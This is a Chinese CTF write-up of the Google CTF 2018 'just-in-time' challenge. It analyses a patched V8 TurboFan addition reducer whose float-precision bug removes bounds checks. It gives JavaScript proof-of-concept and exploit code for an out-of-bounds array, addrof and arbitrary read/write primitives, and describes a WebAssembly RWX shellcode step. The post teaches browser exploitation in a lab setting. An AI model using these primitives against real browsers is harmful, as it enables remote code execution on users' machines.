Google CTF justintime

  • A+
所属分类:逆向工程
Google CTF justintime
文章可能有些部分写的不好,希望师傅们批评指正

Google CTF justintime
Google CTF justintime
环境搭建
具体的题目下载
https://storage.googleapis.com/gctf-2018-attachments/cd70a91783899292a28926fb9ac3a9d95821560844f2bd43011a5fbf04601a52
Google CTF justintime
解压之后得到上面的文件
打开chrome查看一下v8的版本
Google CTF justintime
v8的版本是7.0.276.3

方法 1

刚开始想要使用git reset hard的方式还原,但是找不到对应版本的hash值,后来想到可以在下面的网站找
https://chromium.googlesource.com/v8/v8.git/
找到对应的hash值并还原
Google CTF justintime
Google CTF justintime
回退到相应的版本后,进行patch(题目下发的patch文件)
patch 这里遇到了一个问题,就是直接使用脚本patch不进去,所以手动将脚本中的代码贴到相应的文件中
使用ninja进行编译
Google CTF justintime

方法 2

另外还在一个师傅的github上找到了编译好的debug 和 release版的v8 , 可以直接下载
https://github.com/JeremyFetiveau/pwn-just-in-time-exploit
但是后期用这个版本调试的时候出现了点问题

方法 3

同时也可以使用博客上的build.sh文件
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time
简单分析一下build.sh文件
fetch --nohooks chromiumcd srcbuild/install-build-deps.shgclient runhooks
# https://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branchesgit fetch --tagsgit checkout tags/70.0.3538.9gclient sync
gn gen out/Defaultecho << EOFPlease set the following args:> use_jumbo_build=true> enable_nacl=false> remove_webcore_debug_symbols=true> use_goma = true # for googlers> is_debug = falseEOFgn args out/Default
git apply ../attachments/nosandbox.patchpushd v8git apply ../attachments/addition-reducer.patchpopd
autoninja -C out/Default chrome
相关的build文件和patch文件可以从下面的链接下载
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time
这里的build.sh需要根据自己的路径进行修改
上述的搭建过程可能要proxy
 
Google CTF justintime
Google CTF justintime
背景知识

1.0 v8 浮点数表示

参考:
https://en.wikipedia.org/wiki/IEEE_754
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
v8用double表示浮点数
Google CTF justintime
分为符号位S 指数位(EXP) 有效数位(Fraction) 分别为1位 11位 52位
浮点数所能表示的最大值就是将所有的有效数位填满, 一共是53位(转化方式如下图),1111……1 , 值为2^53 – 1 = 9007199254740991. 对应的浮点数0x433fffffffffffff
Google CTF justintime
Google CTF justintime
因为9007199254740991=11……1b(53位)=1.111……1b*2^52,指数位Exp=1023+52=1075=10000110011b,符号位S为0。
有效数位只有52位,当超过9007199254740991值时,比如9007199254740992,会在有效数位上加1导致溢出,失去精度,其二进制表示为1.0*2^53,由于只有52位,会舍弃最后的一个bit.
同理 参靠de4dcr0w的表格
Google CTF justintime
图中红框里面的都会被舍弃

1.1 解题思路

本题给的是一个chrome,我们首先要找到其v8版本,进行调试,之后在攻击chrome
获取v8版本的方式,打开浏览器,地址栏输入chrome://version
Google CTF justintime
 
Google CTF justintime
Google CTF justintime
漏洞分析

2.0 patch分析

题目中给了一个patch文件,引入了一些优化
Google CTF justintime
本部分参考了 JeremyFetiveau师傅 sakura师傅 与 Nevv师傅的解释,三位师傅解释的很清楚了,膜拜一波,笔者本部分根据两者进行的理解
具体增加的函数代码如下
Reduction DuplicateAdditionReducer::Reduce(Node* node) {  switch (node->opcode()) {    case IrOpcode::kNumberAdd:      return ReduceAddition(node);    default:      return NoChange();  }} 
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); // [1] }
Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [2] }
Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [3] }
double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node); // [4]}
上面的增加的patch代码是在进行NumberAdd的时候产生的优化.我们有4个不同的代码路径(请阅读代码注释)。其中只有一个会导致节点更改。让我们画一个表示所有这些情况的模式。红色的节点表示它们不满足条件,导致返回NoChange。
Google CTF justintime
case4表示的也就是 x+a+b , a和b都是Number常量的情况.优化后,会把左边的 a 和 b 相加,相加后的结果替换原有 NumberAdd 右边的NumberConstant,
Google CTF justintime
但是实际情况下
Google CTF justintime

2.1 POC尝试与优化图解

首先针对上面的浮点数背景知识介绍做个test
Google CTF justintime
这是因为有效数位的最后一位被忽视省略了,两个浮点数实际在内存中是一样的.
之后尝试写了一下POC
function foo(x){    let a = [1.0,1.1,1.2,1.3,1.4];    let temp = (x == 'oob') ? Number.MAX_SAFE_INTEGER+4 : Number.MAX_SAFE_INTEGER+1;    let tmp = temp + 1 + 1;//trigger optimitisc     let idx = tmp - (Number.MAX_SAFE_INTEGER+1);    return idx;}
console.log(foo('oob'));console.log(foo(''));%OptimizeFunctionOnNextCall(foo);console.log(foo('oob'));
运行结果如下
Google CTF justintime
可以看到最后输出了idx 为6 ,但是数组长度总共只有5, 看一下产生的优化图
这里可以看到右边的constant节点2
Google CTF justintime
下面可以看到优化的时候,数组下标范围是(0,4),并且没有了checkbound节点
Google CTF justintime
但是根据上面的POC,真正编译计算的时候却是可以到达下标6的,所以导致了数组溢出
sakura师傅的POC中对优化过程写的很清楚
function foo(doit) {    let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];    let x = doit ? 9007199254740992 : 9007199254740991-2;    x += 1;    // #29:NumberConstant[1]()  [Type: Range(1, 1)]    // #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge)  [Type: Range(9007199254740990, 9007199254740992)]    x += 1;    // #29:NumberConstant[1]()  [Type: Range(1, 1)]    // #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge)  [Type: Range(9007199254740991, 9007199254740992)]    x -= 9007199254740991;//解释:range(0,1);编译:(0,3);    // #32:NumberConstant[9.0072e+15]()  [Type: Range(9007199254740991, 9007199254740991)]    // #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge)  [Type: Range(0, 1)]    x *= 3;//解释:(0,3);编译:(0,9);    // #34:NumberConstant[3]()  [Type: Range(3, 3)]    // #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge)  [Type: Range(0, 3)]    x += 2;//解释:(2,5);编译:(2,11);    // #36:NumberConstant[2]()  [Type: Range(2, 2)]    // #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge)  [Type: Range(2, 5)]    a[x] = 2.1729236899484e-311; // (1024).smi2f()}for (var i = 0; i < 100000; i++){  foo(true);}
所以根据上面的分析,我们可以实现一个数组越界
 
Google CTF justintime
Google CTF justintime
尝试利用

3.0 改变数组大小导致越界

Google CTF justintime
数组a 是越界数组
obj 和 ABUF是一会利用是用到的
Google CTF justintime
根据数组length的位置,确定我们脚本中要修改的index
根据这个idx可以去调整上面脚本中idax的形成过程,加或者乘来达到修改数组大小的效果
修改数组大小的部分脚本如下
/************************************************************* * File Name: m_exp.js *  * Created on:  * Author:  *  * Last Modified:  * Description: exp for just in time game in google ctf 2018 final ************************************************************/function hex(i){    return i.toString(16).padStart(16, "0");}const MAX_ITERATIONS = 10000;class convert{    constructor()    {        this.buf=new ArrayBuffer(8)        this.uint8array=new Uint8Array(this.buf);        this.float64array=new Float64Array(this.buf);        this.uint32array=new Uint32Array(this.buf);        this.bitint=new BigUint64Array(this.buf);    }    f2i(x)//float64 ==> uint64    {        this.float64array[0]=x;        return this.bitint[0];    }    i2f(x)    {        this.bitint[0]=BigInt(x);        return this.float64array[0];    }}let conv = new convert();


//oob arraylet oob = undefined;let obj = [];let ABUF = [];



function foo(x){ let a = [1.0,1.1,1.2,1.3,1.4,1.5,1.6,1.7,1.8];//change idx // %DebugPrint(a); // %SystemBreak(); let b = (x == 'oob') ? Number.MAX_SAFE_INTEGER+5:Number.MAX_SAFE_INTEGER+1; let tmp = b + 1 + 1 // triger let idx = tmp - (Number.MAX_SAFE_INTEGER+1);//opi (0,6) idx = idx*2; // idx += 2; a[idx] = 1.74512933848984e-310;//conv.i2f(0x202000000000); return a}//why???
foo("oob");foo("");for(let i=0; i<MAX_ITERATIONS; i++){ foo("")}oob = foo("oob");console.log("[+] oobArray's length changed to 0x" + hex(oob.length));



// %DebugPrint(oob);// %SystemBreak();




obj.push({mark:conv.i2f(0x41414141),obj:{}});ABUF.push(new ArrayBuffer(0x41));
%DebugPrint(oob);%DebugPrint(obj);%DebugPrint(ABUF);
for(let i=0;i<0x10;i++){ new Array(0x1000000);}//why???

let off_obj = 0;for(let i=0;i<2020;i++){ let temp = conv.f2i(oob[i]); if(temp == 0x41414141) { off_obj = i+1; break; }}console.log("[+] off_obj @"+off_obj);
let back_off = 0;for(let i=0;i<2020;i++){ let tmp = conv.f2i(oob[i]); if(tmp == 0x41) { oob[i] = conv.i2f(0x8);//length back_off = i+1; break; }}

console.log("[+] back_off @"+back_off);

// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object), // FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]这行说明debug模式下,存在数组越界的check,如果想继续调试要想办法绕过


%SystemBreak();

3.1 构造任意读写原语与取地址

这个在上一篇文章的背景知识中写过了,这里不再赘述
这部分的脚本如下
var off_obj = 0;for(let i=0;i<200;i++){    let temp = conv.f2i(oob[i]);    if(temp == 0x11111111)    {        off_obj = i+1;        break;    }}console.log("[+] off_obj    @"+off_obj);
// %SystemBreak();// readline();

var back_off = 0;for(let i=0;i<500;i++){ let tmp = conv.f2i(oob[i]); if(tmp == 0x200) { //oob[i] = conv.i2f(0x8);//length back_off = i+1; break; }}

console.log("[+] back_off @"+back_off);
// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object), // FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]



let dataView = new DataView(ABUF[ABUF.length-1]);
function addrof(x){ obj[0].n = x; return conv.f2i(oob[off_obj]);}


function abread(addr){ oob[back_off] = conv.i2f(addr); // let bigint = new BigUint64Array(ABUF); // return bigint[0]; return conv.f2i(dataView.getFloat64(0,true));

}

function abwrite(addr,payload){ oob[back_off] = conv.i2f(addr); for(let i=0; i<payload.length; i++) { dataView.setUint8(i, payload[i]); }}function dataview_write(addr, payload){ oob[back_off] = conv.i2f(addr); for(let i=0; i<payload.length; i++) { dataView.setUint8(i, payload[i]); } return ;}
下面两张图用来核对obj对象位置
Google CTF justintime
Google CTF justintime
可以看到笔者脚本中设置的obj对象
addrof函数,就是将上图中0x41414141的位置换成我们写入的地址(暂时不知道的脚本对象),再通过oob数组得到地址
Google CTF justintime

3.2 弹出计算器

同理利用上一次的方法wasm
创建RWX段
利用addrof原语找到这个段落
使用backstore读写这个地址
Google CTF justintime
Google CTF justintime
下面是笔者调试时候的信息
Google CTF justintime
根据DebugPrint的信息可知道我们的RWX段地址基本上没有错误
最终效果
Google CTF justintime
 
Google CTF justintime
Google CTF justintime
遇到的问题
当回退版本号的时候遇到了问题
Google CTF justintime
网上有一些说…但是问题没有解决
Google CTF justintime
后来突然想到应该跟hash值,但是从网上没有找到对应的hash值
最后回到ctf-time上,下载了相应的版本
每次gclient sync的时候都会在wasm git clone的时候断掉
Google CTF justintime
原因是因为gclient sync的时候网速不行,有时断掉,换个梯子就好了
编译时遇到的问题
Google CTF justintime
这个重启了一下解决了,但是具体原因没有搜到
Google CTF justintime
补丁死活打不上…..
最后手动将补丁中的代码复制到相关的文件中
在debug模式下崩溃了,调试不了,在release模式调试下触发漏洞失败,但是不调试的时候可以正常跑起来
Google CTF justintime
这个是debug版本有越界检查,可以根据错误修改源码中的检查重新编译debug版本
笔者之所以碰到上面的问题,是在找RWX段是寻址错了(下图),想要具体找寻原因,然后就遇上了上面调试不了的情况,后来发现是addrof原语写错了,下面就顺利的改了Exp,但是上面这个release版本下漏洞触发失败的问题还需师傅们指点.
Google CTF justintime
release版本为什么直接触发不了暂时没有想到,
最后一步写shellcode的时候出现了下面的问题
Google CTF justintime
改了下面的大小(0x200)就好
Google CTF justintime
 
Google CTF justintime
Google CTF justintime
参考
https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/google-ctf2018-final-just-in-time
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#preparing-turbolizer
https://xz.aliyun.com/t/3348#toc-1
https://www.jianshu.com/p/db78899fcd5f
(点击“阅读原文”查看链接)

Google CTF justintime


- End -
精彩推荐
2020N1CTF kemu
正式发布 | 新基建:供应链安全风暴狂潮,入局没有硝烟的角逐
欢迎来到小安的梦境~
WhatsApp搞事情?要么跟Facebook共享你的数据,要么删除你的账号!


Google CTF justintime


戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):Google CTF justintime

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: